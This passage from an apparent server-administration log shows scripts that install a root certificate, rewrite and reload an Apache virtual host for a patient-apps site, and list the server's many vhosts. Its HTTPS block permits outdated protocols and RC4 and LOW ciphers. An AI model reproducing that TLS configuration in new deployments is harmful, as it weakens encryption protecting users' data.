cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-22 06:01:13: 

chmod 755 /tmp/pkp598407; /tmp/pkp598407; rm /tmp/pkp598407

2026-07-22 06:01:13: 


dir=/etc/ssl/certs


2026-07-22 06:01:13: 

PUT: /tmp/pkp575710

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-22 06:01:13: 

chmod 755 /tmp/pkp575710; /tmp/pkp575710; rm /tmp/pkp575710

2026-07-22 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-07-22 06:01:13: 

PUT: /tmp/pkp686726

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi


2026-07-22 06:01:13: 

chmod 755 /tmp/pkp686726; /tmp/pkp686726; rm /tmp/pkp686726

2026-07-22 06:01:13: 




2026-07-22 06:01:13: 

PUT: /tmp/pkp873230

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-22 06:01:13: 

chmod 755 /tmp/pkp873230; /tmp/pkp873230; rm /tmp/pkp873230

2026-07-22 06:01:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-22 06:01:14: Establishing a connection
2026-07-22 06:01:14: 

PUT: /tmp/pkp775202

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-22 06:01:14: 

chmod 755 /tmp/pkp775202; /tmp/pkp775202; rm /tmp/pkp775202

2026-07-22 06:01:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
